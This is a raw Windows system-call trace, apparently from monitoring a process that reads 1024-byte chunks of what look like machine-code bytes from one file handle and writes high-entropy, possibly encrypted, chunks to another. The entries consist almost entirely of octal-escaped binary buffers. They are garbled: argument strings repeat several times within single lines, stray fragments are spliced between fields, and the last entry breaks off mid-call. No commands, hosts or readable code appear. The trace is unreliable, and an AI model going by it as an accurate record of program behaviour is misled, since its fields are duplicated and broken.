 01014  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "D$\4\335\4$\203\304\30[\303\220U\213\354\203\304\350S\213\330\215E\350P\350\272\303\377\3773\300Uha\12\1@d\3770d\211 \213\323\215E\350\350\312\334\377\377\215E\350\377\25\234\362\1@\215E\350\350u\0\0\0\335]\370\2333\300ZYYd\211\20hh\12\1@\215E\350\350x\331\377\377\303\351\2367\377\377\353\360\335E\370[\213\345]\303SVW\203\304\354\213\372\213\360\213\324\17\267\6\350\24#\0\0\213\330\204\333t(\215D$\4P\350D\303\377\377j\7\213\316\215T$\10\213D$\4\2130\377V\34\213D$\14\211\7\213D$\20\211G\4\213\303\203\304\24_^[\303\220S\203\304\354\213\330\17\267\3\17\267\320\203\372\24\17\207\200\1\0\0\377$\225\330\12\1@,\13\1@:\13\1@^\13\1@j\13\1@v\13\1@v\13\1@v\13\1@\206\13\1@\230\13\1@A\14\1@Q\14\1@\250\13\1@0\14\1@A\14\1@Q\14\1@Q\14\1@\275\13\1@\322\13\1@\347\13\1@\374\13\1@\26\14\1@3\300\211\4$\211D$\4\351\307\2\0\0\200=\20\252\1@\0t\15f\272\7\0f\270\1\0\350\244\320\377\3773\300\211\4$\211D$\4\351\243\2\0\0\337C\10\335\34$\233\351\227\2\0\0\333C\10\335\34$\233\351\213\2\0\0\213\303\350C\376\377\377\335\34$\233\351{\2\0\0\213C\10\211\4$\213C\14\211D$\4\351i\2\0\0\213\303\350\325\374\377\377\335\34$\233\351Y\2\0\0\17\277C\10\211D$\10\333D$\10\335\34$\233\351D\2\0\0\17\276C\10\211D$\10\333D$\10\335\34$\233\351/\2\0\0\17\266C\10\211D$\10\333D$\10\335\34$\233\351\32\2\0\0\17\267C\10\211D$\10\333D$\10\335", ) , ) == 0x0
 01015  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\225\234)\274A\275\333?\347_\262\216\336)\331QN?\321\254|\222\222\303F\320\324\236\6\241\347\235\326\372\350\301\6\330\371:\3655U@\252Vq\27T\3\375_/Z\367V\20\17\232\30\244B\37\271\205H_\231\230n\241\3566B\17\231\315\3531}\5\273rU+\177\322\360\253j\377V\270\212\270\367\217\364i\20y\206\252\224\275\330\257\375\222\206\340U\204a\240\307\354\14\201V\341\373\364\326\225%\270\347\337|a\376\360J0\322Nz\360\227(\3\222E/\246\3770\351y\1F\32\314\250\364hV_WU\310\207F\262<1\22\330\243\265\267\273+\365k\263\207]\271\321\3234\230\220~\256,\325\210\247\304(\4\245M+\203\302\367r\213\362y\15<\200\363\202\371,\323\331\6gr\32\213\216#\\217\34 \263\22`3\343\367\374X,Evo\303\204Z\226*KU\204\366\260niF7\373GF\326Z6\3118n\2103\35\245p5&f\323?f\253\323(a\357\205\320\241\2324\316\s\20_\301\14\118\223\5\267\336,`\351`\314h\317}\257\261#\225\307IC\6\323+\15\\10Z\260\3562\35 \224\317XP\225\336\3\316{\234x\333\334\222LR\234NzR\343\16\336\202/*;\231\322\243L\255\26\340{\201\317@2G5!\37B\272\203\343o\11,X"\301\3723X\340\11\346\25\365\260.\33\234\201\326\353\203\233\373cD\306\11\336ynj\302&pU\205\272'\237"\376A\273\271j\21;\252B\227\2\320\254\314\236i\205\314\364\206\366 \304d\5\36\240\22\305\366\262\343\320\364\227S{72\345\6\2000B\15\236\260\1+qr\31\3333\2\233a^`\10\241\317\237\342\301\250\377\208;\265\316\215\13\342\224z\36O\331\230l\204.n\225\30\232q\376.\244", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \301\3723X\340\11\346\25\365\260.\33\234\201\326\353\203\233\373cD\306\11\336ynj\302&pU\205\272'\237 (92, 0, 0, 0, "\225\234)\274A\275\333?\347_\262\216\336)\331QN?\321\254|\222\222\303F\320\324\236\6\241\347\235\326\372\350\301\6\330\371:\3655U@\252Vq\27T\3\375_/Z\367V\20\17\232\30\244B\37\271\205H_\231\230n\241\3566B\17\231\315\3531}\5\273rU+\177\322\360\253j\377V\270\212\270\367\217\364i\20y\206\252\224\275\330\257\375\222\206\340U\204a\240\307\354\14\201V\341\373\364\326\225%\270\347\337|a\376\360J0\322Nz\360\227(\3\222E/\246\3770\351y\1F\32\314\250\364hV_WU\310\207F\262<1\22\330\243\265\267\273+\365k\263\207]\271\321\3234\230\220~\256,\325\210\247\304(\4\245M+\203\302\367r\213\362y\15<\200\363\202\371,\323\331\6gr\32\213\216#\\217\34 \263\22`3\343\367\374X,Evo\303\204Z\226*KU\204\366\260niF7\373GF\326Z6\3118n\2103\35\245p5&f\323?f\253\323(a\357\205\320\241\2324\316\s\20_\301\14\118\223\5\267\336,`\351`\314h\317}\257\261#\225\307IC\6\323+\15\\10Z\260\3562\35 \224\317XP\225\336\3\316{\234x\333\334\222LR\234NzR\343\16\336\202/*;\231\322\243L\255\26\340{\201\317@2G5!\37B\272\203\343o\11,X"\301\3723X\340\11\346\25\365\260.\33\234\201\326\353\203\233\373cD\306\11\336ynj\302&pU\205\272'\237"\376A\273\271j\21;\252B\227\2\320\254\314\236i\205\314\364\206\366 \304d\5\36\240\22\305\366\262\343\320\364\227S{72\345\6\2000B\15\236\260\1+qr\31\3333\2\233a^`\10\241\317\237\342\301\250\377\208;\265\316\215\13\342\224z\36O\331\230l\204.n\225\30\232q\376.\244", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01016  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\233\335\4$\203\304\24[\303\215@\0U\213\354\203\304\354S3\322\211U\354\211U\374\213\3303\300Uh\270\16\1@d\3770d\211 \213\323\215E\374\350\307\17\0\0\215E\360Pj\0h\0\4\0\0\213E\374P\241\240\260\1@\213\0\377\320\213\320\201\352\5\0\2\200t\12\201\352\373\377\375\177u/\3539\215E\354\213U\374\350\240<\377\377\213E\354\215U\360\350q\200\377\377\204\300u\37\17\267\23f\271\6\0\270\5\0\2\200\350\250\321\377\377\353\14\17\267\23f\271\6\0\350\232\321\377\3773\300ZYYd\211\20h\277\16\1@\215E\354\350\3259\377\377\215E\374\350QA\377\377\303\351G3\377\377\353\350\337m\360[\213\345]\303\220U\213\354\203\304\350S\213\330\215E\350P\350\376\276\377\377f\307E\350\5\0\213E\10\211E\360\213E\14\211E\364j\6j\0h\0\4\0\0\215E\350P\215E\350P\241d\260\1@\213\0\377\320\17\267\23f\271\6\0\350"\321\377\377\213E\360\211E\370\213E\364\211E\374\337m\370[\213\345]\302\10\0S\203\304\350\213\330\215D$\10P\350\240\276\377\377j\6j\0h\0\4\0\0S\215D$\30P\241d\260\1@\213\0\377\320\17\267\23f\271\6\0\350\330\320\377\377\213D$\20\211\4$\213D$\24\211D$\4\337,$\203\304\30[\303\220U\213\354\203\304\350S\213\330\215E\350P\350R\276\377\3773\300Uh\311\17\1@d\3770d\211 \213\323\215E\350\350b\327\377\377\215E\350\377\25\234\362\1@\215E\350\350u\0\0\0\337}\370\2333\300ZYYd\211\20h\320\17\1@\215E\350\350\20\324\377\377\303\35162\377\377\353\360\337m\370[\213\345]\303SVW\203\304\354\213\372\213\360\213\324\17\267\6\350\254\35\0\0\213\330\204\333t(\215D", ) \321\377\377\213E\360\211E\370\213E\364\211E\374\337m\370[\213\345]\302\10\0S\203\304\350\213\330\215D$\10P\350\240\276\377\377j\6j\0h\0\4\0\0S\215D$\30P\241d\260\1@\213\0\377\320\17\267\23f\271\6\0\350\330\320\377\377\213D$\20\211\4$\213D$\24\211D$\4\337,$\203\304\30[\303\220U\213\354\203\304\350S\213\330\215E\350P\350R\276\377\3773\300Uh\311\17\1@d\3770d\211 \213\323\215E\350\350b\327\377\377\215E\350\377\25\234\362\1@\215E\350\350u\0\0\0\337}\370\2333\300ZYYd\211\20h\320\17\1@\215E\350\350\20\324\377\377\303\35162\377\377\353\360\337m\370[\213\345]\303SVW\203\304\354\213\372\213\360\213\324\17\267\6\350\254\35\0\0\213\330\204\333t(\215D", ) == 0x0
 01017  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, ":\227sB2\20\24\337\264^<\211\350\336\361\33\367\261\3\22\347\214\251\215O\256\335&=\316\230HW\177\301\320AQ\355y\323]\266\341\230\2464t\312\15\5\212Q\204\270p5W\264\27R\210Q\10\347\352\201@\263+b\327:\300\241\240\226\360\225\35\30\267|\344u\367R\324j\31559\22\226(z\224*\265\304\22h\327\227\21\26\334h\26\231\357\313\374\6\374\315\250\7\363,z\223\364\16w\206\374\256\250\354\212V\5D\108\250\263\234/\256\312\221\273\32\377\357J\242\26&\312\322K\37\203\375\252TB\200\324*\274c`.\367\0\253\1wZ\363\230\3657\212E\3733V\224\35\233\372C\333\2551\10\237\330a\230x\371PoR\247C\3\306\261\16#\34pE\324o\263\32\202\23^\201&*\0\322.\364\302\344\12`\220\2156_\2\11z\200\376\1F\211\376=5\205\265[\310\300\373\207\34cBL\326\333\265\235\231\21443\236\212\272Yi\13#(`\12\255(\17\333mqJ\304\311g\1\5\370\243O\13\24\276\351\204\260\344\4\244\224\333[F\32\255\25\373\35\326\354h\246\366>\23\213\317\213\34\257]\300\7\346\226\17\6\225\12wV!^Wh|\355q\213\361\37\3E\320D\353\251\233\332\0C\301\37\372Of\222+y\335z}wC\362\343\332\3\205\352\224\303\22\265\236\307v"\347\222Gf\362"\313(%\261\303\372\372O\342\235=9\260\311\355\352\337\317\200+\300\352\243\226\313\11\215!\273\234Q\4\230\273\304\262O\222 X9\261\336X6\3120\210k\300\222\265\177|\327^5p_z\0\f\276h\207 \2074\3}\276\16\316\306]\214\255{\203\11\300\245\365\21.\325%\226\12\20171\10\36\223\313W\34AGR\216\336"\202\304\10x\20\226\15\206f\336", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \347\222Gf\362 (92, 0, 0, 0, ":\227sB2\20\24\337\264^<\211\350\336\361\33\367\261\3\22\347\214\251\215O\256\335&=\316\230HW\177\301\320AQ\355y\323]\266\341\230\2464t\312\15\5\212Q\204\270p5W\264\27R\210Q\10\347\352\201@\263+b\327:\300\241\240\226\360\225\35\30\267|\344u\367R\324j\31559\22\226(z\224*\265\304\22h\327\227\21\26\334h\26\231\357\313\374\6\374\315\250\7\363,z\223\364\16w\206\374\256\250\354\212V\5D\108\250\263\234/\256\312\221\273\32\377\357J\242\26&\312\322K\37\203\375\252TB\200\324*\274c`.\367\0\253\1wZ\363\230\3657\212E\3733V\224\35\233\372C\333\2551\10\237\330a\230x\371PoR\247C\3\306\261\16#\34pE\324o\263\32\202\23^\201&*\0\322.\364\302\344\12`\220\2156_\2\11z\200\376\1F\211\376=5\205\265[\310\300\373\207\34cBL\326\333\265\235\231\21443\236\212\272Yi\13#(`\12\255(\17\333mqJ\304\311g\1\5\370\243O\13\24\276\351\204\260\344\4\244\224\333[F\32\255\25\373\35\326\354h\246\366>\23\213\317\213\34\257]\300\7\346\226\17\6\225\12wV!^Wh|\355q\213\361\37\3E\320D\353\251\233\332\0C\301\37\372Of\222+y\335z}wC\362\343\332\3\205\352\224\303\22\265\236\307v"\347\222Gf\362"\313(%\261\303\372\372O\342\235=9\260\311\355\352\337\317\200+\300\352\243\226\313\11\215!\273\234Q\4\230\273\304\262O\222 X9\261\336X6\3120\210k\300\222\265\177|\327^5p_z\0\f\276h\207 \2074\3}\276\16\316\306]\214\255{\203\11\300\245\365\21.\325%\226\12\20171\10\36\223\313W\34AGR\216\336"\202\304\10x\20\226\15\206f\336", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \202\304\10x\20\226\15\206f\336", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01018  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\22\353 \213\303\350\2\374\377\377\337<$\233\351\315\1\0\0\213\303\350Z\375\377\377\337<$\233\351\275\1\0\0\366\304@\17\204\234\1\0\0\17\267\300%\377\277\377\377\203\370\24\17\207~\1\0\0\377$\205D\22\1@\273\23\1@\273\23\1@\230\22\1@\254\22\1@\300\22\1@\300\22\1@\320\22\1@\344\22\1@\364\22\1@\273\23\1@\273\23\1@\4\23\1@\255\23\1@\273\23\1@\273\23\1@\273\23\1@!\23\1@>\23\1@[\23\1@u\23\1@\224\23\1@\213C\10\337\0\330\15\350\23\1@\337<$\233\3514\1\0\0\213C\10\333\0\330\15\350\23\1@\337<$\233\351 \1\0\0\213\303\350a\374\377\377\337<$\233\351\20\1\0\0\213C\10\213\20\211\24$\213P\4\211T$\4\351\374\0\0\0\213\303\350=\374\377\377\337<$\233\351\354\0\0\0\213\303\350\21\373\377\377\337<$\233\351\334\0\0\0\213C\10\17\277\0\211D$\10\333D$\10\330\15\350\23\1@\337<$\233\351\277\0\0\0\213C\10\17\276\0\211D$\10\333D$\10\330\15\350\23\1@\337<$\233\351\242\0\0\0\213C\10\17\266\0\211D$\10\333D$\10\330\15\350\23\1@\337<$\233\351\205\0\0\0\213C\10\17\267\0\211D$\10\333D$\10\330\15\350\23\1@\337<$\233\353k\213C\10\213\0\211D$\143\300\211D$\20\337l$\14\330\15\350\23\1@\337<$\233\353L\213C\10\337(\203\304\370\335\34$\233\213\303\350!\373\377\377\337<$\233\3533\213C\10\350o\374\377\377\337<$\233\353%\213\303\350f\373\377\377\337<$\233\353\30\213\324\213\303\350\7\374\377\377\204\300u\13\213\303\350L\373\377\377\337<$\233\337,$\203\304\24[\303\0@\34FU\213\354S\213\330\213\303", ) , ) == 0x0
 01019  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\362O\267\326\352i\3341)\274\242\240i\336\345\365\340\2631iv\13\370\341]\25\177\340G\2^\264m$\31\260\343\35\3D\25\323\356\323\253\243\350;d\362\22\7\34\234\2139{\211\225\24\365\254z\242\331\231\333\177\10\371\203J\241\16{\202\201h\326:\25\6W\241\37\215\225E])\345\364\210\214\217\247\3357c\273\0\327y\307\4\302\17\253>W\5[\235\341.\345!\313\367G\265\33Q\25\22>\212\326\177\201\212\324\301\254e\22\337\261GH\224\337\302\245h\2155O=\205\20*\335\202\320\312\373!\324a#\367i\203s\23\2\360M\365\333~\364\207\347\214\352\3\360g\305\26k\4W\264\241\365\261\2658v\371\245W\232b\1)\304`\216y\244F3\357\211\377\242\326Q\302\37\335\362\252\34\307\21C\360\266\N>A\306>F\325\323\211\337\360\271\320\375\\376\344\37m\355\363\23\34 \332J\266]\370\200\241\263\337H[[\44\201{|\340;\31\273O\204\373\23sm\16\374r\301*TE\213\320B\\330\216_\13\21;0`\223X\6\277>\312\34\177c\3539\236v\341\307\215\30\322N#\204\3 v\4\372{\331$\302^2\306\6]J\214\336\201J?\340\2704\352\31\272\322_Z!\366\314|W\252\353JTU\207f\243]zJ\36\273Aoc\320\227\224\232b\236\27D\310\25i\20\232\371\354P\232\212x\345\21\237\335\3\34\317\372\227\334ub\320*\306=\327\300\13E\231\204\316\15kR\364V[&\351\32N\371^,^O\3000f\253\37\31\221\301I\34D\340)\332\200\264\177<\216 \24115\372\377\356\323\27\252u\14\313nG[&\344\227\357\360 \227\24\366\363\337\256\342iu1\6\256\30\245\32\15G\203\34\334\316\261\352/ZU\216\370\254\365\12y8:;o", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01020  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\350\323\267\377\3773\300UhF\26\1@d\3770d\211 \213\323\215E\360\350\343\320\377\377\215E\360\377\25\234\362\1@\215U\360\213\306\350\254\0\0\03\300ZYYd\211\20hM\26\1@\215E\360\350\223\315\377\377\303\351\271+\377\377\353\360^[\213\345]\303\220U\213\354\203\304\344S\211U\374\213\330\213E\374\205\300t\43\322\211\20\215U\364\17\267\3\350"\27\0\0\210E\373\200}\373\0tQ\215E\344P\350P\267\377\3773\300Uh\311\26\1@d\3770d\211 h\0\1\0\0\213\313\215U\344\213E\364\213\30\377S\34\213E\374\213U\354\350%2\377\3773\300ZYYd\211\20h\320\26\1@\215E\344\350\20\315\377\377\303\3516+\377\377\353\360\17\266E\373[\213\345]\303\215@\0U\213\354\271\16\0\0\0j\0j\0Iu\371QSV\213\332\213\3603\300Uh\10\34\1@d\3770d\211 \17\267\3\17\267\320\203\372\24\17\2076\2\0\0\377$\225\26\27\1@j\27\1@v\27\1@\236\27\1@\271\27\1@\323\27\1@\364\27\1@\25\30\1@2\30\1@O\30\1@,\31\1@E\31\1@t\30\1@\33\31\1@,\31\1@E\31\1@E\31\1@\217\30\1@\252\30\1@\305\30\1@\340\30\1@\376\30\1@\213\306\350\231\377\377\351C\4\0\0\200=\20\252\1@\0t\15f\272\0\1f\270\1\0\350h\304\377\377\213\306\213\25\24\252\1@\350?1\377\377\351\33\4\0\0\215U\374\17\277C\10\350\356d\377\377\213U\374\213\306\350$1\377\377\351\0\4\0\0\215U\370\213C\10\350\324d\377\377\213U\370\213\306\350\121\377\377\351\346\3\0\0\331C\10\203\304\364\333<$\233\215E\364\350/v\377\377\213U\364\213\306\350\3510\377\377\351\305\3\0\0", ) \27\0\0\210E\373\200}\373\0tQ\215E\344P\350P\267\377\3773\300Uh\311\26\1@d\3770d\211 h\0\1\0\0\213\313\215U\344\213E\364\213\30\377S\34\213E\374\213U\354\350%2\377\3773\300ZYYd\211\20h\320\26\1@\215E\344\350\20\315\377\377\303\3516+\377\377\353\360\17\266E\373[\213\345]\303\215@\0U\213\354\271\16\0\0\0j\0j\0Iu\371QSV\213\332\213\3603\300Uh\10\34\1@d\3770d\211 \17\267\3\17\267\320\203\372\24\17\2076\2\0\0\377$\225\26\27\1@j\27\1@v\27\1@\236\27\1@\271\27\1@\323\27\1@\364\27\1@\25\30\1@2\30\1@O\30\1@,\31\1@E\31\1@t\30\1@\33\31\1@,\31\1@E\31\1@E\31\1@\217\30\1@\252\30\1@\305\30\1@\340\30\1@\376\30\1@\213\306\350\231\377\377\351C\4\0\0\200=\20\252\1@\0t\15f\272\0\1f\270\1\0\350h\304\377\377\213\306\213\25\24\252\1@\350?1\377\377\351\33\4\0\0\215U\374\17\277C\10\350\356d\377\377\213U\374\213\306\350$1\377\377\351\0\4\0\0\215U\370\213C\10\350\324d\377\377\213U\370\213\306\350\121\377\377\351\346\3\0\0\331C\10\203\304\364\333<$\233\215E\364\350/v\377\377\213U\364\213\306\350\3510\377\377\351\305\3\0\0", ) == 0x0
 01021  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\306Cl\30\6\7J7\f\271g\372"\214\14\237Z!!4\372\272_t\20\34\23\202\331e{\210.\321\306F\361\332J\216U\22g`\331Oq5\336\14Z\1\211^`U\336v\375\240\375X\234\352\270\307\342\321\222\350\342\242\206\216eCL>@+\12\15\210q\267%\354\357\353\13\326\205\256u)\222\276\252A\210D\324\226\327\277\256\301\255\334\330\371A\322y\25\5\362\304q\337\322\205\261(\225\266\217\210\267\361\233\234\17\337\330]\245S\255v1\15w\377\333\304\224\310\307\362\264\373\231\22\40S\325\377\4\202\32\5\34\356!\227\207\30\322=\260\236\247\23%\345:\322oT+\276\312K\24\273&K\353\177\263\274O\237\277_o\306D\345d\234Y\177\4\211\375&\2008K\331f*\4\352j\312V$\25\23\346\364\2\351\322\323#\275\34n\36b\16f\354A\12\373q/h\363O/m\372^\267\10"F\366\300\14\210\344\34\3711\302\276):2;\20m\33$u\225\0\2h\200\263\314\241\257\252$#Cu\223$\334\273Y.Q\15T\36}0\312\340\310"*\315\e\14\301\364>\65\212\12\373\353#W=\62#\276\245Px\251\260\263\275\352*\241\225\307~\217#\235=a~\356\11\3115\2754\33)\276u\341N\22@\337\206\225\277\306+\253\213\363h\252\252\364\216\363\202\267\15"m[\361\264#\227\201\254w\330x\361\311v\344\274\243.\11\245\14R\\227X\255\26\363\253\271\214q\2310g\275\337s\341ax;/\7\351\352\333.\242t\205\256\355\35\266\\255\337Y\362\24sQ\306\13!P1\12\223RO\352\210M\222\272\377\331N\333\301\312\223\264\32>)\37\1\343R\306|\261\307!\325\353\351l1\2205\337\21I3\7.slY\326r\15A\20C\376p", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \214\14\237Z!!4\372\272_t\20\34\23\202\331e{\210.\321\306F\361\332J\216U\22g`\331Oq5\336\14Z\1\211^`U\336v\375\240\375X\234\352\270\307\342\321\222\350\342\242\206\216eCL>@+\12\15\210q\267%\354\357\353\13\326\205\256u)\222\276\252A\210D\324\226\327\277\256\301\255\334\330\371A\322y\25\5\362\304q\337\322\205\261(\225\266\217\210\267\361\233\234\17\337\330]\245S\255v1\15w\377\333\304\224\310\307\362\264\373\231\22\40S\325\377\4\202\32\5\34\356!\227\207\30\322=\260\236\247\23%\345:\322oT+\276\312K\24\273&K\353\177\263\274O\237\277_o\306D\345d\234Y\177\4\211\375&\2008K\331f*\4\352j\312V$\25\23\346\364\2\351\322\323#\275\34n\36b\16f\354A\12\373q/h\363O/m\372^\267\10 (92, 0, 0, 0, "\306Cl\30\6\7J7\f\271g\372"\214\14\237Z!!4\372\272_t\20\34\23\202\331e{\210.\321\306F\361\332J\216U\22g`\331Oq5\336\14Z\1\211^`U\336v\375\240\375X\234\352\270\307\342\321\222\350\342\242\206\216eCL>@+\12\15\210q\267%\354\357\353\13\326\205\256u)\222\276\252A\210D\324\226\327\277\256\301\255\334\330\371A\322y\25\5\362\304q\337\322\205\261(\225\266\217\210\267\361\233\234\17\337\330]\245S\255v1\15w\377\333\304\224\310\307\362\264\373\231\22\40S\325\377\4\202\32\5\34\356!\227\207\30\322=\260\236\247\23%\345:\322oT+\276\312K\24\273&K\353\177\263\274O\237\277_o\306D\345d\234Y\177\4\211\375&\2008K\331f*\4\352j\312V$\25\23\346\364\2\351\322\323#\275\34n\36b\16f\354A\12\373q/h\363O/m\372^\267\10"F\366\300\14\210\344\34\3711\302\276):2;\20m\33$u\225\0\2h\200\263\314\241\257\252$#Cu\223$\334\273Y.Q\15T\36}0\312\340\310"*\315\e\14\301\364>\65\212\12\373\353#W=\62#\276\245Px\251\260\263\275\352*\241\225\307~\217#\235=a~\356\11\3115\2754\33)\276u\341N\22@\337\206\225\277\306+\253\213\363h\252\252\364\216\363\202\267\15"m[\361\264#\227\201\254w\330x\361\311v\344\274\243.\11\245\14R\\227X\255\26\363\253\271\214q\2310g\275\337s\341ax;/\7\351\352\333.\242t\205\256\355\35\266\\255\337Y\362\24sQ\306\13!P1\12\223RO\352\210M\222\272\377\331N\333\301\312\223\264\32>)\37\1\343R\306|\261\307!\325\353\351l1\2205\337\21I3\7.slY\326r\15A\20C\376p", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) *\315\e\14\301\364>\65\212\12\373\353#W=\62#\276\245Px\251\260\263\275\352*\241\225\307~\217#\235=a~\356\11\3115\2754\33)\276u\341N\22@\337\206\225\277\306+\253\213\363h\252\252\364\216\363\202\267\15 (92, 0, 0, 0, "\306Cl\30\6\7J7\f\271g\372"\214\14\237Z!!4\372\272_t\20\34\23\202\331e{\210.\321\306F\361\332J\216U\22g`\331Oq5\336\14Z\1\211^`U\336v\375\240\375X\234\352\270\307\342\321\222\350\342\242\206\216eCL>@+\12\15\210q\267%\354\357\353\13\326\205\256u)\222\276\252A\210D\324\226\327\277\256\301\255\334\330\371A\322y\25\5\362\304q\337\322\205\261(\225\266\217\210\267\361\233\234\17\337\330]\245S\255v1\15w\377\333\304\224\310\307\362\264\373\231\22\40S\325\377\4\202\32\5\34\356!\227\207\30\322=\260\236\247\23%\345:\322oT+\276\312K\24\273&K\353\177\263\274O\237\277_o\306D\345d\234Y\177\4\211\375&\2008K\331f*\4\352j\312V$\25\23\346\364\2\351\322\323#\275\34n\36b\16f\354A\12\373q/h\363O/m\372^\267\10"F\366\300\14\210\344\34\3711\302\276):2;\20m\33$u\225\0\2h\200\263\314\241\257\252$#Cu\223$\334\273Y.Q\15T\36}0\312\340\310"*\315\e\14\301\364>\65\212\12\373\353#W=\62#\276\245Px\251\260\263\275\352*\241\225\307~\217#\235=a~\356\11\3115\2754\33)\276u\341N\22@\337\206\225\277\306+\253\213\363h\252\252\364\216\363\202\267\15"m[\361\264#\227\201\254w\330x\361\311v\344\274\243.\11\245\14R\\227X\255\26\363\253\271\214q\2310g\275\337s\341ax;/\7\351\352\333.\242t\205\256\355\35\266\\255\337Y\362\24sQ\306\13!P1\12\223RO\352\210M\222\272\377\331N\333\301\312\223\264\32>)\37\1\343R\306|\261\307!\325\353\351l1\2205\337\21I3\7.slY\326r\15A\20C\376p", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01022  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\213U\300\213\306\350\316.\377\377\351\252\1\0\0\215U\274\213C\10\213\0\350|b\377\377\213U\274\213\306\350\262.\377\377\351\216\1\0\0\213C\10\331\0\203\304\364\333<$\233\215E\270\350\325s\377\377\213U\270\213\306\350\217.\377\377\351k\1\0\0\213C\10\335\0\203\304\364\333<$\233\215E\264\350\262s\377\377\213U\264\213\306\350l.\377\377\351H\1\0\0\213C\10\377p\4\3770\215E\260\350k\371\377\377\213U\260\213\306\350\2010\377\377\351)\1\0\0\213C\10\377p\4\3770\215E\254\350\204\371\377\377\213U\254\213\306\350b0\377\377\351\12\1\0\0\213\306\213S\10\213\22\350\361/\377\377\351\371\0\0\0\215U\250\213C\10\17\267\0\350\216\371\377\377\213U\250\213\306\35040\377\377\351\334\0\0\0\215U\244\213C\10\17\276\0\350\255a\377\377\213U\244\213\306\350\343-\377\377\351\277\0\0\0\215U\240\213C\10\17\266\0\350\220a\377\377\213U\240\213\306\350\306-\377\377\351\242\0\0\0\215U\234\213C\10\17\267\0\350sa\377\377\213U\234\213\306\350\251-\377\377\351\205\0\0\0\213C\10\213\03\322RP\215E\230\350?b\377\377\213U\230\213\306\350\211-\377\377\353h\213C\10\377p\4\3770\215E\224\350#b\377\377\213U\224\213\306\350m-\377\377\353L\213C\10\213\320\213\306\350c\373\377\377\353>\215U\220\213\303\350\237\371\377\377\213U\220\213\306\350I-\377\377\353(\213\306\350\354,\377\377\213\320\213\303\350\263\372\377\377\204\300u\24\215U\214\213\303\350u\371\377\377\213U\214\213\306\350\37-\377\3773\300ZYYd\211\20h\17\34\1@\215E\214\272\7\0\0\0\350\325,\377\377\215E\250\272\3\0\0\0\350@4\377\377\215E\264\272\13\0\0\0\350\273,\377\377\215E\340\272\4\0\0", ) , ) == 0x0
 01023  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "/\217\33\327$\261v\236\370\227\0B\373m\23R*~\16\324\214\377\226\49\275\<\211\274MYJ\29\212\245\251\177\272UhZ\255\344?\257\362W\220\33U\12\234\243\351\230\231\37N!\237\214\215B\276\332\26\377e\33\210\15\2036\10\333z\224\256\221vk\222\324\3663\21\13f\26\355V\206n[IU\222=\370\4){`"\12\344\256IXE\264A\330m\207\310\7z\214\177H\306\362\224\312c\230l\212r\351\346k\11\366_|\15\370Qf\351\204\200\277~\322\254+\271\333\373^.\377\271\15\324\220\264\337\375\213>0XR\20\267x\314R\374\26\251\14\333\11\303\256S\0+\216z\305Z\2640\345|K\23B&\344Y\357\201\216d\32\272\216\264\340\307\350\17\304i\340\334\5n\301\231`\24\367\200[XYO72\264\375\337\3\221\321D \212\327>\350\1\230\215\327\251\375\242'\366\1\321\233~\212\347\274"e\351z\244\14\234\352R\253& 9L\3_\221\2331\25Hz\235\352yPr\35\213\252\343\323\250\300\347(\377\316\354jv\0\372\350\266\11\303\244t7\34\232\177]KAL\33\366\206{\223\331\3554\352)\344C@\303\335i\375C~\114Z\200*:\230\314\370W\236\367\336\204\237.i\357ubN\236\266\371Lpd\3430\353\337k\242\360B\355\332\213\11\307)\221<\266\275\364f\367\224\215W\221~\230X\3401\37N\273\330)\10o\255bt:e#H\277\322\10s\336(O\376\205{\2226-\233>O\202\340\342N~\1/\276\37\233\225\252\211\257\207\371f\356\3332\337\204Q\12\266-\321\317Q\374\300\235\3133\78\277\17\246\3357\233]\15\2309?S\302\3158!`b\334\320\377\377\263\311\255n\14\344\307\301\232AY\241\363F\313\272\246w5!", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \12\344\256IXE\264A\330m\207\310\7z\214\177H\306\362\224\312c\230l\212r\351\346k\11\366_|\15\370Qf\351\204\200\277~\322\254+\271\333\373^.\377\271\15\324\220\264\337\375\213>0XR\20\267x\314R\374\26\251\14\333\11\303\256S\0+\216z\305Z\2640\345|K\23B&\344Y\357\201\216d\32\272\216\264\340\307\350\17\304i\340\334\5n\301\231`\24\367\200[XYO72\264\375\337\3\221\321D \212\327>\350\1\230\215\327\251\375\242'\366\1\321\233~\212\347\274 (92, 0, 0, 0, 